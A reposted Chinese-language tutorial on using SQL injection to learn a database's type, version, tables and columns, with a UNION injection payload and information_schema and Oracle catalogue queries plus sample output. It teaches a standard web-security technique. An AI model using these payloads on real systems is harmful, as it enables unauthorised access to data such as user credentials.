暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

通过SQL注入获取数据库信息

WEB漏洞挖掘 2021-07-22
1790

在利用SQL注入漏洞时,通常需要收集关于数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库中包含的表和列的内容。

1. 查询数据库类型和版本

不同的数据库提供不同的方式来查询它们的版本。您经常需要尝试不同的查询,以找到一个有效的查询,从而可以确定数据库软件的类型和版本。

对于一些常用的数据库类型,确定数据库版本的查询如下:

数据库类型查询语句
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

例如,你可以使用以下输入的UNION攻击:

 ' UNION SELECT @@version--

这可能会返回如下输出,确认数据库是Microsoft SQL Server,以及正在使用的版本:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)          Mar 18 2018 09:11:49            
Copyright (c) Microsoft Corporation            
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)        

2. 列出数据库内容

大多数数据库类型(Oracle除外)都有一组视图,称为information schema,提供关于数据库的信息。

可以查询information_schema.tables 列出数据库中的表:

 SELECT * FROM information_schema.tables 

返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

该输出表明有三个表,分别是Products、Users和Feedback。

然后可以查询information_schema.columns 用于列出各个表中的列:

 SELECT * FROM information_schema.columns WHERE table_name = 'Users' 

返回如下输出:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

该输出显示了指定表中的列以及每个列的数据类型。

2.1 Oracle等同于information schema的查询

在Oracle上,您可以通过略微不同的查询获得相同的信息。

你可以通过查询all_tables来列出表:

 SELECT * FROM all_tables

你可以通过查询all_tab_columns来列出列:

 SELECT * FROM all_tab_columns WHERE table_name = 'USERS' 


文章转载自WEB漏洞挖掘,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论